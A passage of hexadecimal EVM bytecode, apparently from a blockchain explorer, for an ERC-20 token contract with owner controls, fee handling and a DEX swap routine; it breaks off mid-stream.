61020b9190612167565b60405180910390f35b34801561022057600080fd5b50610229610755565b6040516102369190612167565b60405180910390f35b34801561024b57600080fd5b50610254610768565b60405161026191906121e1565b60405180910390f35b34801561027657600080fd5b5061027f61078e565b60405161028c919061220b565b60405180910390f35b3480156102a157600080fd5b506102aa610798565b6040516102b79190612167565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e29190612226565b6107ab565b6040516102f49190612167565b60405180910390f35b34801561030957600080fd5b50610312610884565b60405161031f9190612295565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a919061210c565b61089b565b60405161035c9190612167565b60405180910390f35b34801561037157600080fd5b5061037a61094e565b604051610387919061220b565b60405180910390f35b34801561039c57600080fd5b506103a5610954565b6040516103b291906122bf565b60405180910390f35b3480156103c757600080fd5b506103d061097a565b6040516103dd9190612167565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906122da565b61098d565b005b34801561041b57600080fd5b5061043660048036038101906104319190612307565b610a1c565b005b34801561044457600080fd5b5061045f600480360381019061045a9190612307565b610c08565b60405161046c919061220b565b60405180910390f35b34801561048157600080fd5b5061048a610c51565b005b34801561049857600080fd5b506104b360048036038101906104ae9190612360565b610c65565b005b3480156104c157600080fd5b506104ca610c8b565b6040516104d791906122bf565b60405180910390f35b3480156104ec57600080fd5b506104f5610cb4565b6040516105029190612051565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d919061210c565b610d46565b60405161053f9190612167565b60405180910390f35b34801561055457600080fd5b5061056f600480360381019061056a91906123b9565b610e13565b005b34801561057d57600080fd5b506105986004803603810190610593919061210c565b610e38565b6040516105a59190612167565b60405180910390f35b3480156105ba57600080fd5b506105c3610e56565b6040516105d0919061220b565b60405180910390f35b3480156105e557600080fd5b5061060060048036038101906105fb91906123e6565b610e5c565b60405161060d919061220b565b60405180910390f35b34801561062257600080fd5b5061063d60048036038101906106389190612307565b610ee3565b60405161064a9190612167565b60405180910390f35b34801561065f57600080fd5b5061067a60048036038101906106759190612307565b610f03565b005b34801561068857600080fd5b506106a3600480360381019061069e91906123b9565b610f86565b005b6060600580546106b490612455565b80601f01602080910402602001604051908101604052809291908181526020018280546106e090612455565b801561072d5780601f106107025761010080835404028352916020019161072d565b820191906000526020600020905b81548152906001019060200180831161071057829003601f168201915b5050505050905090565b600061074b610744610fe2565b8484610fea565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107b884848461117e565b610879846107c4610fe2565b61087485604051806060016040528060288152602001612ad960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061082a610fe2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b69092919063ffffffff16565b610fea565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109446108a8610fe2565b8461093f85600260006108b9610fe2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160b90919063ffffffff16565b610fea565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b610995611621565b601360149054906101000a900460ff16156109e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dc906124d2565b60405180910390fd5b60006109f030610c08565b9050600060648383610a029190612521565b610a0c9190612592565b9050610a178161169f565b505050565b610a24611621565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9891906125d8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2391906125d8565b6040518363ffffffff1660e01b8152600401610b40929190612605565b6020604051808303816000875af1158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8391906125d8565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c59611621565b610c636000611713565b565b610c6d611621565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610cc390612455565b80601f0160208091040260200160405190810160405280929190818152602001828054610cef90612455565b8015610d3c5780601f10610d1157610100808354040283529160200191610d3c565b820191906000526020600020905b815481529060010190602001808311610d1f57829003601f168201915b5050505050905090565b6000610e09610d53610fe2565b84610e0485604051806060016040528060258152602001612b016025913960026000610d7d610fe2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b69092919063ffffffff16565b610fea565b6001905092915050565b610e1b611621565b80601360166101000a81548160ff02191690831515021790555050565b6000610e4c610e45610fe2565b848461117e565b6001905092915050565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b610f0b611621565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f71906126a0565b60405180910390fd5b610f8381611713565b50565b610f8e611621565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610fd79190612167565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110545750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a9061270c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611171919061220b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111e85750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121e90612778565b60405180910390fd5b6000811161126a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112619061280a565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156112ab5750601360149054906101000a900460ff16155b80156113055750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561131d5750601360159054906101000a900460ff165b15611360576000600960006101000a81548160ff021916908360ff160217905550600061134930610c08565b9050600081111561135e5761135d8161169f565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114075750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806114d25750601360169054906101000a900460ff1680156114775750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114d15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156114e057600090506115a4565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361154357600b54600a819055506115a3565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a257600c54600a819055505b5b5b6115b0848484846117d7565b50505050565b60008383111582906115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f59190612051565b60405180910390fd5b5082840390509392505050565b60008183611619919061282a565b905092915050565b611629610fe2565b73ffffffffffffffffffffffffffffffffffffffff16611647610c8b565b73ffffffffffffffffffffffffffffffffffffffff161461169d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611694906128aa565b60405180910390fd5b565b6001601360146101000a81548160ff0219169083151502179055506116c381611841565b60004790506116f4600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611a84565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b806117e9576117e4611acf565b611822565b6009600081819054906101000a900460ff1680929190611808906128ca565b91906101000a81548160ff021916908360ff160217905550505b61182d848484611b2b565b8061183b5761183a611f49565b5b50505050565b6000600267ffffffffffffffff81111561185e5761185d6128f3565b5b60405190808252806020026020018201604052801561188c5781602001602082028036833780820191505090505b50905030816000815181106118a4576118a3612922565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561194b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196f91906125d8565b8160018151811061198357611982612922565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119ea30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fea565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a4e959493929190612a4a565b600060405180830381600087803b158015611a6857600080fd5b505af1158015611a7c573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611aca573d6000803e3d6000fd5b505050565b6000600a54148015611ae357506000600b54145b8015611af157506000600c54145b611b2957600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b85576000611b89565b6010545b9050601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0c57611c2f82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc481600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f43565b600080611d1884611f7c565b91509150611d6e84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6690919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0382600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160b90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f38919061220b565b60405180910390a350505b50505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b60008183611f749190612aa4565b905092915050565b60008060006064600a5485611f919190612521565b611f9b9190612592565b90506000611fb28286611f6690919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ffb578082015181840152602081019050611fe0565b60008484015250505050565b6000601f19601f8301169050919050565b600061202382611fc1565b61202d8185611fcc565b935061203d818560208601611fdd565b61204681612007565b840191505092915050565b6000602082019050818103600083015261206b8184612018565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120a382612078565b9050919050565b6120b381612098565b81146120be57600080fd5b50565b6000813590506120d0816120aa565b92915050565b6000819050919050565b6120e9816120d6565b81146120f457600080fd5b50565b600081359050612106816120e0565b92915050565b6000806040838503121561212357612122612073565b5b6000612131858286016120c1565b9250506020612142858286016120f7565b9150509250929050565b60008115159050919050565b6121618161214c565b82525050565b600060208201905061217c6000830184612158565b92915050565b6000819050919050565b60006121a76121a261219d84612078565b612182565b612078565b9050919050565b60006121b98261218c565b9050919050565b60006121cb826121ae565b9050919050565b6121db816121c0565b82525050565b60006020820190506121f660008301846121d2565b92915050565b612205816120d6565b82525050565b600060208201905061222060008301846121fc565b92915050565b60008060006060848603121561223f5761223e612073565b5b600061224d868287016120c1565b935050602061225e868287016120c1565b925050604061226f868287016120f7565b9150509250925092565b600060ff82169050919050565b61228f81612279565b82525050565b60006020820190506122aa6000830184612286565b92915050565b6122b981612098565b82525050565b60006020820190506122d460008301846122b0565b92915050565b6000602082840312156122f0576122ef612073565b5b60006122fe848285016120f7565b91505092915050565b60006020828403121561231d5761231c612073565b5b600061232b848285016120c1565b91505092915050565b61233d81612279565b811461234857600080fd5b50565b60008135905061235a81612334565b92915050565b60006020828403121561237657612375612073565b5b60006123848482850161234b565b91505092915050565b6123968161214c565b81146123a157600080fd5b50565b6000813590506123b38161238d565b92915050565b6000602082840312156123cf576123ce612073565b5b60006123dd848285016123a4565b91505092915050565b600080604083850312156123fd576123fc612073565b5b600061240b858286016120c1565b925050602061241c858286016120c1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246d57607f821691505b6020821081036124805761247f612426565b5b50919050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b60006124bc602083611fcc565b91506124c782612486565b602082019050919050565b600060208201905081810360008301526124eb816124af565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061252c826120d6565b9150612537836120d6565b9250828202612545816120d6565b9150828204841483151761255c5761255b6124f2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061259d826120d6565b91506125a8836120d6565b9250826125b8576125b7612563565b5b828204905092915050565b6000815190506125d2816120aa565b92915050565b6000602082840312156125ee576125ed612073565b5b60006125fc848285016125c3565b91505092915050565b600060408201905061261a60008301856122b0565b61262760208301846122b0565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061268a602683611fcc565b91506126958261262e565b604082019050919050565b600060208201905081810360008301526126b98161267d565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006126f6601183611fcc565b9150612701826126c0565b602082019050919050565b60006020820190508181036000830152612725816126e9565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000612762601583611fcc565b915061276d8261272c565b602082019050919050565b6000602082019050818103600083015261279181612755565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b60006127f4602583611fcc565b91506127ff82612798565b604082019050919050565b60006020820190508181036000830152612823816127e7565b9050919050565b6000612835826120d6565b9150612840836120d6565b9250828201905080821115612858576128576124f2565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612894602083611fcc565b915061289f8261285e565b602082019050919050565b600060208201905081810360008301526128c381612887565b9050919050565b60006128d582612279565b915060ff82036128e8576128e76124f2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061297661297161296c84612951565b612182565b6120d6565b9050919050565b6129868161295b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129c181612098565b82525050565b60006129d383836129b8565b60208301905092915050565b6000602082019050919050565b60006129f78261298c565b612a018185612997565b9350612a0c836129a8565b8060005b83811015612a3d578151612a2488826129c7565b9750612a2f836129df565b925050600181019050612a10565b5085935050505092915050565b600060a082019050612a5f60008301886121fc565b612a6c602083018761297d565b8181036040830152612a7e81866129ec565b9050612a8d60608301856122b0565b612a9a60808301846121fc565b9695505050505050565b6000612aaf826120d6565b9150612aba836120d6565b9250828203905081811115612ad257612ad16124f2565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122065350c8eeb94215fc6150dc394446e3d42c2ed2742c56b9a6372c8b5aee5c70e64736f6c63430008130033000000000000000000000000118427b3b4a05bc8a8a4de845986800000000000
Deployed Bytecode
0x6080604052600436106101a05760003560e01c80636d597398116100ec578063a514a07d1161008a578063dd62ed3e11610064578063dd62ed3e146105d9578063e04fc39a14610616578063f2fde38b14610653578063f7739b5f1461067c576101a7565b8063a514a07d14610548578063a9059cbb14610571578063ca9ec199146105ae576101a7565b80637caefa89116100c65780637caefa891461048c5780638da5cb5b146104b557806395d89b41146104e0578063a457c2d71461050b576101a7565b80636d5973981461040f57806370a0823114610438578063715018a614610475576101a7565b806323b872dd1161015957806342a110951161013357806342a110951461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c16106a5565b6040516101ce9190612051565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061210c565b610737565b60405161020b9190612167565b60405180910390f35b34801561022057600080fd5b50610229610755565b6040516102369190612167565b60405180910390f35b34801561024b57600080fd5b50610254610768565b60405161026191906121e1565b60405180910390f35b34801561027657600080fd5b5061027f61078e565b60405161028c919061220b565b60405180910390f35b3480156102a157600080fd5b506102aa610798565b6040516102b79190612167565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e29190612226565b6107ab565b6040516102f49190612167565b60405180910390f35b34801561030957600080fd5b50610312610884565b60405161031f9190612295565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a919061210c565b61089b565b60405161035c9190612167565b60405180910390f35b34801561037157600080fd5b5061037a61094e565b604051610387919061220b565b60405180910390f35b34801561039c57600080fd5b506103a5610954565b6040516103b291906122bf565b60405180910390f35b3480156103c757600080fd5b506103d061097a565b6040516103dd9190612167565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906122da565b61098d565b005b34801561041b57600080fd5b5061043660048036038101906104319190612307565b610a1c565b005b34801561044457600080fd5b5061045f600480360381019061045a9190612307565b610c08565b60405161046c919061220b565b60405180910390f35b34801561048157600080fd5b5061048a610c51565b005b34801561049857600080fd5b506104b360048036038101906104ae9190612360565b610c65565b005b3480156104c157600080fd5b506104ca610c8b565b6040516104d791906122bf565b60405180910390f35b3480156104ec57600080fd5b506104f5610cb4565b6040516105029190612051565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d919061210c565b610d46565b60405161053f9190612167565b60405180910390f35b34801561055457600080fd5b5061056f600480360381019061056a91906123b9565b610e13565b005b34801561057d57600080fd5b506105986004803603810190610593919061210c565b610e38565b6040516105a59190612167565b60405180910390f35b3480156105ba57600080fd5b506105c3610e56565b6040516105d0919061220b565b60405180910390f35b3480156105e557600080fd5b5061060060048036038101906105fb91906123e6565b610e5c565b60405161060d919061220b565b60405180910390f35b34801561062257600080fd5b5061063d60048036038101906106389190612307565b610ee3565b60405161064a9190612167565b60405180910390f35b34801561065f57600080fd5b5061067a60048036038101906106759190612307565b610f03565b005b34801561068857600080fd5b506106a3600480360381019061069e91906123b9565b610f86565b005b6060600580546106b490612455565b80601f01602080910402602001604051908101604052809291908181526020018280546106e090612455565b801561072d5780601f106107025761010080835404028352916020019161072d565b820191906000526020600020905b81548152906001019060200180831161071057829003601f168201915b5050505050905090565b600061074b610744610fe2565b8484610fea565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107b884848461117e565b610879846107c4610fe2565b61087485604051806060016040528060288152602001612ad960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061082a610fe2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b69092919063ffffffff16565b610fea565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109446108a8610fe2565b8461093f85600260006108b9610fe2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160b90919063ffffffff16565b610fea565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b610995611621565b601360149054906101000a900460ff16156109e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dc906124d2565b60405180910390fd5b60006109f030610c08565b9050600060648383610a029190612521565b610a0c9190612592565b9050610a178161169f565b505050565b610a24611621565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9891906125d8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2391906125d8565b6040518363ffffffff1660e01b8152600401610b40929190612605565b6020604051808303816000875af1158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8391906125d8565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c59611621565b610c636000611713565b565b610c6d611621565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610cc390612455565b80601f0160208091040260200160405190810160405280929190818152602001828054610cef90612455565b8015610d3c5780601f10610d1157610100808354040283529160200191610d3c565b820191906000526020600020905b815481529060010190602001808311610d1f57829003601f168201915b5050505050905090565b6000610e09610d53610fe2565b84610e0485604051806060016040528060258152602001612b016025913960026000610d7d610fe2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b69092919063ffffffff16565b610fea565b6001905092915050565b610e1b611621565b80601360166101000a81548160ff02191690831515021790555050565b6000610e4c610e45610fe2565b848461117e565b6001905092915050565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b610f0b611621565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f71906126a0565b60405180910390fd5b610f8381611713565b50565b610f8e611621565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610fd79190612167565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110545750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a9061270c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611171919061220b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111e85750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121e90612778565b60405180910390fd5b6000811161126a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112619061280a565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156112ab5750601360149054906101000a900460ff16155b80156113055750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561131d5750601360159054906101000a900460ff165b15611360576000600960006101000a81548160ff021916908360ff160217905550600061134930610c08565b9050600081111561135e5761135d8161169f565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114075750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806114d25750601360169054906101000a900460ff1680156114775750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114d15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156114e057600090506115a4565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361154357600b54600a819055506115a3565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a257600c54600a819055505b5b5b6115b0848484846117d7565b50505050565b60008383111582906115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f59190612051565b60405180910390fd5b5082840390509392505050565b60008183611619919061282a565b905092915050565b611629610fe2565b73ffffffffffffffffffffffffffffffffffffffff16611647610c8b565b73ffffffffffffffffffffffffffffffffffffffff161461169d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611694906128aa565b60405180910390fd5b565b6001601360146101000a81548160ff0219169083151502179055506116c381611841565b60004790506116f4600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611a84565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffff